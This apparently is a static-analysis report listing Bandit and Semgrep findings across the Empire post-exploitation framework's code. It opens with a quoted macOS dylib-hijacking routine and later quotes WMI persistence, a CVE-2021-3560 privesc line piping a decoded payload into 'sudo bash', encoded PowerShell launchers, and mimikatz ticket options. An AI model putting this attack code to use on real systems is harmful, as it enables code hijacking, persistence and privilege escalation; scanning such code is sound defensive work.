return False 219 220 #dbg msg 221 print(' found \\'LC_ID_DYLIB\\' load command at offset(s): %s' % (versionOffsets)) 222 223 #seek to offset of LC_ID_DYLIB 224 fileHandle.seek(versionOffsets[0], io.SEEK_SET) 225 226 #seek to skip over LC header and timestamp 227 fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR) 228 229 ''' 230 struct dylib {{ union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; }}; 231 ''' 232 233 #extract current version 234 currentVersion = fileHandle.read(4) 235 236 #extract compatibility version 237 compatibilityVersion = fileHandle.read(4) 238 239 #dbg msg(s) 240 print(' extracted current version: 0x%x' % (struct.unpack('<L', currentVersion)[0])) 241 print(' extracted compatibility version: 0x%x' % (struct.unpack('<L', compatibilityVersion)[0])) 242 243 #close 244 fileHandle.close() 245 246 #dbg msg 247 print(' [+] parsing \\'%s\\' to find version info' % (os.path.split(attackerDYLIB)[1])) 248 249 #open target .dylib 250 fileHandle = open(attackerDYLIB, 'rb+') 251 252 #find LC_ID_DYLIB load command 253 # ->and check 254 versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB) 255 if not versionOffsets or not len(versionOffsets): 256 257 #err msg 258 print('ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %s' % (os.path.split(attackerDYLIB)[1])) 259 260 #bail 261 return False 262 263 #dbg msg(s) 264 print(' found \\'LC_ID_DYLIB\\' load command at offset(s): %s' % (versionOffsets)) 265 print(' [+] updating version info in %s to match %s' % ((os.path.split(attackerDYLIB)[1]), (os.path.split(targetDYLIB)[1]))) 266 267 #update version info 268 for versionOffset in versionOffsets: 269 270 #seek to offset of LC_ID_DYLIB 271 fileHandle.seek(versionOffset, io.SEEK_SET) 272 273 #seek to skip over LC header and timestamp 274 fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR) 275 276 #dbg msg 277 print('setting version info at offset %s' % (versionOffset)) 278 279 #set current version 280 fileHandle.write(currentVersion) 281 282 #set compatability version 283 fileHandle.write(compatibilityVersion) 284 285 #close 286 fileHandle.close() 287 288 except Exception, e: 289 290 #err msg 291 print('EXCEPTION (configuring version info): %s' % e) 292 293 294 return True 295 296 #configure re-export 297 # ->update hijacker .dylib to re-export everything to target .dylib 298 def configureReExport(attackerDYLIB, targetDYLIB): 299 300 #wrap 301 try: 302 303 #dbg msg 304 print(' [+] parsing \\'%s\\' to extract faux re-export info' % (os.path.split(attackerDYLIB)[1])) 305 306 #open attacker's .dylib 307 fileHandle = open(attackerDYLIB, 'rb+') 308 309 #find LC_REEXPORT_DYLIB load command 310 # ->and check 311 reExportOffsets = findLoadCommand(fileHandle, LC_REEXPORT_DYLIB) 312 if not reExportOffsets or not len(reExportOffsets): 313 314 #err msg 315 print('ERROR: failed to find \\'LC_REEXPORT_DYLIB\\' load command in %s' % (os.path.split(attackerDYLIB)[1])) 316 317 #bail 318 return False 319 320 #dbg msg 321 print(' found \\'LC_REEXPORT_DYLIB\\' load command at offset(s): %s' % (reExportOffsets)) 322 323 ''' 324 struct dylib {{ union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; }}; 325 ''' 326 327 #update re-export info 328 #TODO: does the current and compat version need to match? we can easily set it 329 for reExportOffset in reExportOffsets: 330 331 #seek to offset of LC_REEXPORT_DYLIB 332 fileHandle.seek(reExportOffset, io.SEEK_SET) 333 334 #seek to skip over command 335 fileHandle.seek(0x4, io.SEEK_CUR) 336 337 #read in size of load command 338 commandSize = struct.unpack('<L', fileHandle.read(4))[0] 339 340 #dbg msg 341 print(' extracted LC command size: 0x%x' % (commandSize)) 342 343 #read in path offset 344 pathOffset = struct.unpack('<L', fileHandle.read(4))[0] 345 346 #dbg msg 347 print(' extracted path offset: 0x%x' % (pathOffset)) 348 349 #seek to path offset 350 fileHandle.seek(reExportOffset + pathOffset, io.SEEK_SET) 351 352 #calc length of path 353 # it makes up rest of load command data 354 pathSize = commandSize - (fileHandle.tell() - reExportOffset) 355 356 #dbg msg 357 print(' computed path size: 0x%x' % (pathSize)) 358 359 #read out path 360 data = targetDYLIB + '\\0' * (pathSize - len(targetDYLIB)) 361 fileHandle.write(data) 362 363 #path can include NULLs so lets chop those off 364 #path = path.rstrip('\0') 365 366 #dbg msg(s) 367 #print ' extracted faux path: %s' % (path) 368 369 #close 370 fileHandle.close() 371 372 #dbg msg 373 print(' [+] updated embedded re-export') 374 375 #wrap 376 377 #handle exceptions 378 except Exception, e: 379 380 #err msg 381 print('EXCEPTION (configuring re-exports): %s' % e) 382 383 #bail 384 return False 385 386 return True 387 388 def configure(attackerDYLIB, targetDYLIB): 389 390 #configure version info 391 # ->update attacker's .dylib to match target .dylib's version info 392 if not configureVersions(attackerDYLIB, targetDYLIB): 393 394 #err msg 395 print('ERROR: failed to configure version info') 396 397 #bail 398 return False 399 400 #configure re-export 401 # ->update attacker's .dylib to re-export everything to target .dylib 402 if not configureReExport(attackerDYLIB, targetDYLIB): 403 404 #err msg 405 print('ERROR: failed to configure re-export') 406 407 #bail 408 return False 409 410 return True 411 412 413 #target .dylib 414 targetDYLIB = "{dylib}" 415 416 vrpath = "{vrpath}" 417 418 419 #configured .dylib 420 configuredDYLIB = "" 421 422 #init output path for configured .dylib 423 configuredDYLIB = os.path.split(attackerDYLIB)[0]+'/' + os.path.split(targetDYLIB)[1] 424 425 #dbg msg 426 print(' [+] configuring %s to hijack %s' % (os.path.split(attackerDYLIB)[1], os.path.split(targetDYLIB)[1])) 427 428 #check prereqs 429 # ->i.e. sanity checks 430 if not checkPrereqs(attackerDYLIB, targetDYLIB): 431 432 #err msg 433 print('ERROR: prerequisite check failed\\n') 434 435 #bail 436 return "" 437 438 #configure the provide .dylib 439 if not configure(attackerDYLIB, targetDYLIB): 440 441 #err msg 442 print('ERROR: failed to configure %s\\n' % (os.path.split(targetDYLIB)[1])) 443 444 #bail 445 return "" 446 447 #dbg msg 448 print(' [+] copying configured .dylib to %s' % (configuredDYLIB)) 449 450 #make a (local) copy w/ name 451 shutil.copy2(attackerDYLIB, configuredDYLIB) 452 453 os.remove(attackerDYLIB) 454 if not os.path.exists(os.path.split(vrpath)[0]): 455 os.makedirs(os.path.split(vrpath)[0]) 456 457 os.chmod(configuredDYLIB, 0777) 458 shutil.copy2(configuredDYLIB, vrpath) 459 460 os.remove(configuredDYLIB) 461 #dbg msg 462 463 print('\\nHijacker created, renamed to %s, and copied to %s' % (configuredDYLIB,vrpath)) 464 465 import base64 466 import uuid 467 encbytes = "{encoded_dylib}" 468 filename = str(uuid.uuid4()) 469 path = "/tmp/" + filename + ".dylib" 470 decodedDylib = base64.b64decode(encbytes) 471 temp = open(path,'wb') 472 temp.write(decodedDylib) 473 temp.close() 474 run(path) 475 """ -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi.py line 235
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
234 script = ( 235 '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\'' 236 + sub_name 237 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/listeners/templates/index.html line 29
- Likely real
- Uncertain, 45% confidence
This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible.
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img alt="IIS7" height="411" src="welcome.png" width="571"/></a> -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 111
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
110 mod.__path__ = [os.path.dirname(mod.__file__)] 111 exec(code, mod.__dict__) 112 return mod -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 628
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
627 code_obj = compile(data, "<string>", "exec") 628 exec(code_obj, exec_globals) 629 results = buffer.getvalue() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 655
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
654 exec_globals = {**globals(), 'print': lambda *a, **k: print(*a, **k, file=buffer)} 655 exec(code_obj, exec_globals) 656 results = buffer.getvalue().encode("latin-1") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/ironpython_agent.py line 126
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
125 mod.__path__ = [os.path.dirname(mod.__file__)] 126 exec(code, mod.__dict__) 127 return mod -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/ironpython_agent.py line 1031
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
1030 code_obj = compile(data, "<string>", "exec") 1031 exec(code_obj, exec_globals) 1032 results = buffer.getvalue() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/ironpython_agent.py line 1057
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
1056 exec_globals = {**globals(), 'print': lambda *a, **k: print(*a, **k, file=buffer)} 1057 exec(code_obj, exec_globals) 1058 results = buffer.getvalue().encode("latin-1") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/ironpython_agent.py line 1200
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
1199 try: 1200 exec(data, script_globals) 1201 captured_output = output_capture.getvalue() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 696
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
695 try: 696 exec(data, script_globals) 697 captured_output = output_capture.getvalue() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/code_execution/invoke_script.py line 27
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
26 script_globals = {} 27 exec(script_content, script_globals) 28 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/gopire/comms/http_malleable.go line 9
- Likely real
- Uncertain, 39% confidence
Do not use `math/rand`. Use `crypto/rand` instead.
"math/rand" -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/gopire/comms/http.go line 8
- Likely real
- Uncertain, 39% confidence
Do not use `math/rand`. Use `crypto/rand` instead.
"math/rand" -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/gopire/common/utils.go line 7
- Likely real
- Uncertain, 39% confidence
Do not use `math/rand`. Use `crypto/rand` instead.
"math/rand" -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/gopire/agent/tasks.go line 12
- Likely real
- Uncertain, 39% confidence
Do not use `math/rand`. Use `crypto/rand` instead.
"math/rand" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/config/config_manager.py line 80
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
79 class ApiConfig(EmpireBaseModel): 80 ip: str = "0.0.0.0" 81 port: int = 1337 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/agent_communication_service.py line 949
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
948 listener_options, 949 client_ip="0.0.0.0", 950 update_lastseen=True, 951 ): 952 """ 953 Take the routing packet w/ raw encrypted data from an agent and 954 process as appropriately. 955 956 Abstracted out sufficiently for any listener module to use. 957 """ 958 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/api/v2/listener/listener_dto.py line 117
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
116 "value": "0.0.0.0", 117 "suggested_values": ["0.0.0.0"], 118 "strict": False, -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/agent_communication_service.py line 492
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
491 listener_options, 492 client_ip="0.0.0.0", 493 ): 494 """ 495 Handles agent staging/key-negotiation. 496 """ 497 498 listener_name = listener_options["Name"]["Value"] 499 lang_display_names = { 500 "POWERSHELL": "PowerShell", 501 "PYTHON": "Python", 502 "CSHARP": "C#", 503 "GO": "Go", 504 "IRONPYTHON": "IronPython", 505 } -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/api/v2/listener/listener_dto.py line 116
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
115 "required": True, 116 "value": "0.0.0.0", 117 "suggested_values": ["0.0.0.0"], 118 "strict": False, 119 "depends_on": [], 120 "internal": False, 121 }, 122 "Port": { 123 "description": "Port for the listener.", 124 "required": True, 125 "value": "", -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/api/v2/listener/listener_dto.py line 301
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
300 "Host": "http://localhost", 301 "BindIP": "0.0.0.0", 302 "Port": "1336", 303 "Launcher": "powershell -noP -sta -w 1 -enc ", 304 "StagingKey": "2c103f2c4ed1e59c0b4e2e01821770fa", 305 "DefaultDelay": 5, 306 "DefaultJitter": 0.0, 307 "DefaultLostLimit": 60, 308 "DefaultProfile": "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", 309 "CertPath": "", 310 "KillDate": "", 311 "WorkingHours": "", 312 "Headers": "Server:Microsoft-IIS/7.5", 313 "Cookie": "", 314 "UserAgent": "default", 315 "Proxy": "default", 316 "ProxyCreds": "default", 317 }, 318 } 319 } 320 ) 321 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/python/persistence/osx/mail.py line 48
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
47 time_stamp = str(int(time()))[0:9] 48 synced_rules = "/tmp/" + "".join(choice(ascii_uppercase) for i in range(12)) 49 rules_active_state = "/tmp/" + "".join( -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/python/persistence/osx/mail.py line 49
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
48 synced_rules = "/tmp/" + "".join(choice(ascii_uppercase) for i in range(12)) 49 rules_active_state = "/tmp/" + "".join( 50 choice(ascii_uppercase) for i in range(12) 51 ) 52 apple_script = "".join(choice(ascii_uppercase) for i in range(12)) + ".scpt" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/stagers/linux/pyinstaller.py line 58
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
57 "Required": True, 58 "Value": "/tmp/empire", 59 }, 60 "UserAgent": { 61 "Description": "User-agent string to use for the staging request (default, none, or other).", 62 "Required": False, 63 "Value": "default", -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/stagers/windows/teensy.py line 35
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
34 "Required": True, 35 "Value": "/tmp/teensy.ino", 36 }, 37 "Obfuscate": { 38 "Description": "Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types.", 39 "Required": False, 40 "Value": False, -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/stagers/osx/jar.py line 35
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
34 "Required": True, 35 "Value": "/tmp/out.jar", 36 }, 37 "UserAgent": { 38 "Description": "User-agent string to use for the staging request (default, none, or other).", 39 "Required": False, 40 "Value": "default", -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/stagers/linux/pyinstaller.py line 151
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
150 "--workpath", 151 "/tmp/" + str(time.time()) + "-build/", 152 "--onefile", -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/management/socks.py line 452
- Likely real
- Yes, 95% confidence
ssl.wrap_socket call with no SSL/TLS protocol version specified, the default SSLv23 could be insecure, possible security issue.
451 s = socket.socket() 452 s = ssl.wrap_socket(s) 453 self.logger.debug("Connecting to {}:{}".format(*self.transport_addr)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-3560.py line 49
- Likely real
- Yes, 94% confidence
Possible hardcoded password: 'string:'
48 # In case you need to put a password un-comment the code below and put your password after string:yourpassword' 49 password = "string:" 50 # res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8') -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/api/v2/user/user_api.py line 87
- Likely real
- Yes, 93% confidence
Possible hardcoded password: 'bearer'
86 ) 87 return {"access_token": access_token, "token_type": "bearer"} 88 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py line 45
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
44 script_end += " -Username " + username 45 if password != "": 46 script_end += " -Password " + password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/credentials/credential_injection.py line 46
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
45 params["UserName"] = cred.username 46 if cred.password != "": 47 params["Password"] = cred.password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py line 40
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
39 params["sid"] = cred.sid 40 if cred.password != "": 41 params["krbtgt"] = cred.password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/credentials/mimikatz/pth.py line 40
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
39 params["domain"] = cred.domain 40 if cred.password != "": 41 params["ntlm"] = cred.password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py line 42
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
41 params["UserName"] = str(cred.username) 42 if cred.password != "": 43 params["Password"] = cred.password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py line 32
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
31 params["UserName"] = str(cred.username) 32 if cred.password != "": 33 params["Password"] = cred.password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py line 73
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
72 script_end += " -UserName " + username 73 if password != "": 74 script_end += " -Password " + password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/situational_awareness/network/get_sql_server_login_default_pw.py line 39
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
38 script_end += " -Username " + username 39 if password != "": 40 script_end += " -Password " + password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py line 40
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
39 params["sid"] = cred.sid 40 if cred.password != "": 41 params["rc4"] = cred.password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py line 38
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
37 script_end += " -Username " + username 38 if password != "": 39 script_end += " -Password " + password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/situational_awareness/host/get_sql_column_sample_data.py line 52
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
51 script_end += " -Username " + username 52 if password != "": 53 script_end += " -Password " + password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/situational_awareness/host/get_sql_column_sample_data.py line 46
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
45 script_end += " -Username " + username 46 if password != "": 47 script_end += " -Password " + password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/management/spawnas.py line 33
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
32 params["UserName"] = cred.username 33 if cred.password != "": 34 params["Password"] = cred.password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/management/runas.py line 41
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
40 params["UserName"] = cred.username 41 if cred.password != "": 42 params["Password"] = "'" + cred.password + "'" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py line 46
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
45 params["UserName"] = str(cred.username) 46 if cred.password != "": 47 params["Password"] = cred.password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/lateral_movement/invoke_wmi.py line 48
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
47 params["UserName"] = str(cred.username) 48 if cred.password != "": 49 params["Password"] = cred.password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py line 34
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
33 params["Username"] = str(cred.username) 34 if cred.password != "": 35 params["Password"] = str(cred.password) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 823
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
822 try: 823 uid = os.popen('id -u').read().strip() 824 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 846
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
845 try: 846 internalIP = os.popen("ifconfig|grep inet|grep inet6 -v|grep -v 127.0.0.1|cut -d' ' -f2").read() 847 except Exception as e1: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-3560.py line 68
- Likely real
- Probably noise, 25% confidence
subprocess call with shell=True seems safe, but may be changed in the future, consider rewriting without shell
67 68 subprocess.call("su - ahmed -c 'echo \"{{ payload }}\" | base64 --decode | sudo bash'", shell=True) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/utils/data_util.py line 67
- Likely real
- Probably noise, 25% confidence
subprocess call with shell=True seems safe, but may be changed in the future, consider rewriting without shell
66 try: 67 subprocess.check_output("which powershell", shell=True) 68 except subprocess.CalledProcessError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/utils/data_util.py line 70
- Likely real
- Probably noise, 25% confidence
subprocess call with shell=True seems safe, but may be changed in the future, consider rewriting without shell
69 try: 70 subprocess.check_output("which pwsh", shell=True) 71 except subprocess.CalledProcessError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/stagers/windows/cmd_exec.py line 1
- Likely real
- Probably noise, 14% confidence
Consider possible security implications associated with the subprocess module.
1 import subprocess 2 3 from empire.server.core.exceptions import StagerGenerationException -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/utils/file_util.py line 4
- Likely real
- Probably noise, 14% confidence
Consider possible security implications associated with the subprocess module.
3 import pwd 4 import subprocess 5 from pathlib import Path, PureWindowsPath -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/utils/shellcode_compiler.py line 12
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
11 import logging 12 import subprocess 13 import tempfile -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/dotnet.py line 3
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
2 import logging 3 import subprocess 4 import tempfile -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/obfuscation_service.py line 2
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
1 import logging 2 import subprocess 3 import tempfile -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/ironpython_agent.py line 12
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
11 import struct 12 import subprocess 13 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-3560.py line 3
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
2 import random 3 import subprocess 4 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/base.py line 4
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
3 import stat 4 import subprocess 5 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 13
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
12 import struct 13 import subprocess 14 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/config/data_manager.py line 5
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
4 import pwd 5 import subprocess 6 import tarfile -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /.github/scripts/probe_wheel_install.py line 12
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
11 12 import subprocess 13 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/linuxprivchecker.py line 5
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
4 try: 5 import subprocess as sub 6 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/situational_awareness/LinPEAS.py line 2
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
1 import os 2 import subprocess 3 import tempfile -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/utils/data_util.py line 3
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
2 import socket 3 import subprocess 4 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/stagers/linux/pyinstaller.py line 2
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
1 import shutil 2 import subprocess 3 import time -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/server.py line 6
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
5 import signal 6 import subprocess 7 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/python/privesc/multi/CVE-2021-4034.py line 2
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
1 import base64 2 import subprocess 3 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/go.py line 4
- Likely real
- Probably noise, 12% confidence
Consider possible security implications associated with the subprocess module.
3 import shutil 4 import subprocess 5 import tempfile -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/stager_generation_service.py line 5
- Likely real
- Probably noise, 12% confidence
Consider possible security implications associated with the subprocess module.
4 import shutil 5 import subprocess 6 import tempfile -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/utils/git_util.py line 2
- Likely real
- Probably noise, 12% confidence
Consider possible security implications associated with the subprocess module.
1 import shutil 2 import subprocess 3 import tempfile -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/stagers/windows/c_launcher.py line 2
- Likely real
- Probably noise, 12% confidence
Consider possible security implications associated with the subprocess module.
1 import base64 2 import subprocess 3 import tempfile -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/utils/data_util.py line 70
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
69 try: 70 subprocess.check_output("which pwsh", shell=True) 71 except subprocess.CalledProcessError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/utils/data_util.py line 67
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
66 try: 67 subprocess.check_output("which powershell", shell=True) 68 except subprocess.CalledProcessError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/stagers/linux/pyinstaller.py line 141
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
